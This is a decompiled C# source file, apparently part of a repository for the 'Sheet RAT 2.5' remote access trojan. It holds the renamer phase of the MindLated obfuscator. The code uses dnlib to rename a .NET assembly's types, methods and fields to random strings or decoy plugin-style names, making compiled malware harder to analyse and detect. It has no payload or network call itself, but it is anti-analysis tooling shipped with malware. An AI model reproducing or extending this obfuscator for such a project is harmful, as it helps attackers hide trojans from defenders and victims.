Files
sheet-rat/Server/MindLated/Protection/Renamer/RenamerPhase.cs
T
2026-08-27 11:23:25 -06:00

406 lines
11 KiB
C#

// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Renamer.RenamerPhase
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using System;
using System.Windows.Forms;
using System.Collections.Generic;
using System.Linq;
//#nullable disable
namespace MindLated.Protection.Renamer {
public class RenamerPhase
{
private static readonly Dictionary<TypeDef, bool> TypeRename = new Dictionary<TypeDef, bool>();
private static readonly List<string> TypeNewName = new List<string>();
private static readonly Dictionary<MethodDef, bool> MethodRename = new Dictionary<MethodDef, bool>();
private static readonly List<string> MethodNewName = new List<string>();
private static readonly Dictionary<FieldDef, bool> FieldRename = new Dictionary<FieldDef, bool>();
private static readonly List<string> FieldNewName = new List<string>();
private static readonly bool IsObfuscationActive = true;
private static readonly Random Random = new Random();
private static readonly string[] NormalNameStrings = new string[257]
{
"HasPermission",
"HasPermissions",
"GetPermissions",
"GetOpenWindows",
"EnumWindows",
"GetWindowText",
"GetWindowTextLength",
"IsWindowVisible",
"GetShellWindow",
"Awake",
"FixedUpdate",
"add_OnRockedInitialized",
"remove_OnRockedInitialized",
"Awake",
"Initialize",
"Translate",
"Reload",
"<Initialize>b__13_0",
"Initialize",
"FixedUpdate",
"Start",
"checkTimerRestart",
"QueueOnMainThread",
"QueueOnMainThread",
"RunAsync",
"RunAction",
"Awake",
"FixedUpdate",
"IsUri",
"GetTypes",
"GetTypesFromParentClass",
"GetTypesFromParentClass",
"GetTypesFromInterface",
"GetTypesFromInterface",
"get_Timeout",
"set_Timeout",
"GetWebRequest",
"get_SteamID64",
"set_SteamID64",
"get_SteamID",
"set_SteamID",
"get_OnlineState",
"set_OnlineState",
"get_StateMessage",
"set_StateMessage",
"get_PrivacyState",
"set_PrivacyState",
"get_VisibilityState",
"set_VisibilityState",
"get_AvatarIcon",
"set_AvatarIcon",
"get_AvatarMedium",
"set_AvatarMedium",
"get_AvatarFull",
"set_AvatarFull",
"get_IsVacBanned",
"set_IsVacBanned",
"get_TradeBanState",
"set_TradeBanState",
"get_IsLimitedAccount",
"set_IsLimitedAccount",
"get_CustomURL",
"set_CustomURL",
"get_MemberSince",
"set_MemberSince",
"get_HoursPlayedLastTwoWeeks",
"set_HoursPlayedLastTwoWeeks",
"get_Headline",
"set_Headline",
"get_Location",
"set_Location",
"get_RealName",
"set_RealName",
"get_Summary",
"set_Summary",
"get_MostPlayedGames",
"set_MostPlayedGames",
"get_Groups",
"set_Groups",
"Reload",
"ParseString",
"ParseDateTime",
"ParseDouble",
"ParseUInt16",
"ParseUInt32",
"ParseUInt64",
"ParseBool",
"ParseUri",
"IsValidCSteamID",
"LoadDefaults",
"LoadDefaults",
"get_Clients",
"Awake",
"handleConnection",
"FixedUpdate",
"Broadcast",
"OnDestroy",
"Read",
"Send",
"<Awake>b__8_0",
"get_InstanceID",
"set_InstanceID",
"get_ConnectedTime",
"set_ConnectedTime",
"Send",
"Read",
"Close",
"get_Address",
"get_Instance",
"set_Instance",
"Save",
"Load",
"Unload",
"Load",
"Save",
"Load",
"get_Configuration",
"LoadPlugin",
"<.ctor>b__3_0",
"<LoadPlugin>b__4_0",
"add_OnPluginUnloading",
"remove_OnPluginUnloading",
"add_OnPluginLoading",
"remove_OnPluginLoading",
"get_Translations",
"get_State",
"get_Assembly",
"set_Assembly",
"get_Directory",
"set_Directory",
"get_Name",
"set_Name",
"get_DefaultTranslations",
"IsDependencyLoaded",
"ExecuteDependencyCode",
"Translate",
"ReloadPlugin",
"LoadPlugin",
"UnloadPlugin",
"OnEnable",
"OnDisable",
"Load",
"Unload",
"TryAddComponent",
"TryRemoveComponent",
"add_OnPluginsLoaded",
"remove_OnPluginsLoaded",
"get_Plugins",
"GetPlugins",
"GetPlugin",
"GetPlugin",
"Awake",
"Start",
"GetMainTypeFromAssembly",
"loadPlugins",
"unloadPlugins",
"Reload",
"GetAssembliesFromDirectory",
"LoadAssembliesFromDirectory",
"<Awake>b__12_0",
"GetGroupsByIds",
"GetParentGroups",
"HasPermission",
"GetGroup",
"RemovePlayerFromGroup",
"AddPlayerToGroup",
"DeleteGroup",
"SaveGroup",
"AddGroup",
"GetGroups",
"GetPermissions",
"GetPermissions",
"<GetGroups>b__11_3",
"Start",
"FixedUpdate",
"Reload",
"HasPermission",
"GetGroups",
"GetPermissions",
"GetPermissions",
"AddPlayerToGroup",
"RemovePlayerFromGroup",
"GetGroup",
"SaveGroup",
"AddGroup",
"DeleteGroup",
"DeleteGroup",
"<FixedUpdate>b__4_0",
"Enqueue",
"_Logger_DoWork",
"processLog",
"Log",
"Log",
"var_dump",
"LogWarning",
"LogError",
"LogError",
"Log",
"LogException",
"ProcessInternalLog",
"logRCON",
"writeToConsole",
"ProcessLog",
"ExternalLog",
"Invoke",
"_invoke",
"TryInvoke",
"get_Aliases",
"get_AllowedCaller",
"get_Help",
"get_Name",
"get_Permissions",
"get_Syntax",
"Execute",
"get_Aliases",
"get_AllowedCaller",
"get_Help",
"get_Name",
"get_Permissions",
"get_Syntax",
"Execute",
"get_Aliases",
"get_AllowedCaller",
"get_Help",
"get_Name",
"get_Permissions",
"get_Syntax",
"Execute",
"get_Name",
"set_Name",
"get_Name",
"set_Name",
"get_Name",
"get_Help",
"get_Syntax",
"get_AllowedCaller",
"get_Commands",
"set_Commands",
"add_OnExecuteCommand",
"remove_OnExecuteCommand",
"Reload",
"Awake",
"checkCommandMappings",
"checkDuplicateCommandMappings",
"Plugins_OnPluginsLoaded",
"GetCommand",
"GetCommand",
"getCommandIdentity",
"getCommandType",
"Register",
"Register",
"Register",
"DeregisterFromAssembly",
"GetCooldown",
"SetCooldown",
"Execute",
"RegisterFromAssembly"
};
private const string Ascii = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
private const string number = "1234567890";
public static void Execute(ModuleDefMD module, RenamerPhase.RenameMode renameMode)
{
if (RenamerPhase.IsObfuscationActive)
{
string str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
foreach (TypeDef type in (IEnumerable<TypeDef>) module.Types)
{
if (new Random().Next(0, 4) == 1)
str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
bool flag1;
if (RenamerPhase.TypeRename.TryGetValue(type, out flag1))
{
if (flag1)
RenamerPhase.InternalRename(type);
}
else
RenamerPhase.InternalRename(type);
type.Namespace = (UTF8String) str;
foreach (MethodDef method in (IEnumerable<MethodDef>) type.Methods)
{
bool flag2;
if (RenamerPhase.MethodRename.TryGetValue(method, out flag2))
{
if (flag2 && !method.IsConstructor && !method.IsSpecialName)
RenamerPhase.InternalRename(method);
}
else if (!method.IsConstructor && !method.IsSpecialName)
RenamerPhase.InternalRename(method);
}
RenamerPhase.MethodNewName.Clear();
foreach (FieldDef field in (IEnumerable<FieldDef>) type.Fields)
{
bool flag3;
if (RenamerPhase.FieldRename.TryGetValue(field, out flag3))
{
if (flag3)
RenamerPhase.InternalRename(field);
}
else
RenamerPhase.InternalRename(field);
}
RenamerPhase.FieldNewName.Clear();
}
}
else
{
foreach (KeyValuePair<TypeDef, bool> keyValuePair in RenamerPhase.TypeRename.Where<KeyValuePair<TypeDef, bool>>((Func<KeyValuePair<TypeDef, bool>, bool>) (typeItem => typeItem.Value)))
RenamerPhase.InternalRename(keyValuePair.Key);
foreach (KeyValuePair<MethodDef, bool> keyValuePair in RenamerPhase.MethodRename.Where<KeyValuePair<MethodDef, bool>>((Func<KeyValuePair<MethodDef, bool>, bool>) (methodItem => methodItem.Value)))
RenamerPhase.InternalRename(keyValuePair.Key);
foreach (KeyValuePair<FieldDef, bool> keyValuePair in RenamerPhase.FieldRename.Where<KeyValuePair<FieldDef, bool>>((Func<KeyValuePair<FieldDef, bool>, bool>) (fieldItem => fieldItem.Value)))
RenamerPhase.InternalRename(keyValuePair.Key);
}
}
private static void InternalRename(TypeDef type)
{
string str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
while (RenamerPhase.TypeNewName.Contains(str))
str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
RenamerPhase.TypeNewName.Add(str);
type.Name = (UTF8String) str;
}
private static void InternalRename(MethodDef method)
{
string str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
while (RenamerPhase.MethodNewName.Contains(str))
str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
RenamerPhase.MethodNewName.Add(str);
method.Name = (UTF8String) str;
}
private static void InternalRename(FieldDef field)
{
string str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
while (RenamerPhase.FieldNewName.Contains(str))
str = RenamerPhase.GenerateString(RenamerPhase.RenameMode.Ascii);
RenamerPhase.FieldNewName.Add(str);
field.Name = (UTF8String) str;
}
private static string RandomString(int length)
{
char ch = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"[RenamerPhase.Random.Next("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".Length)];
char[] array = Enumerable.Repeat<string>("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", length - 1).Select<string, char>((Func<string, char>) (s => s[RenamerPhase.Random.Next(s.Length)])).ToArray<char>();
return ch.ToString() + new string(array);
}
private static string GetRandomName()
{
return RenamerPhase.NormalNameStrings[RenamerPhase.Random.Next(RenamerPhase.NormalNameStrings.Length)];
}
public static string GenerateString(RenamerPhase.RenameMode mode)
{
switch (mode)
{
case RenamerPhase.RenameMode.Ascii:
return RenamerPhase.RandomString(RenamerPhase.Random.Next(8, 16 /*0x10*/));
case RenamerPhase.RenameMode.Key:
return RenamerPhase.RandomString(16 /*0x10*/);
case RenamerPhase.RenameMode.Normal:
return RenamerPhase.GetRandomName();
default:
throw new ArgumentOutOfRangeException(nameof (mode), (object) mode, (string) null);
}
}
public enum RenameMode
{
Ascii,
Key,
Normal,
}
}
}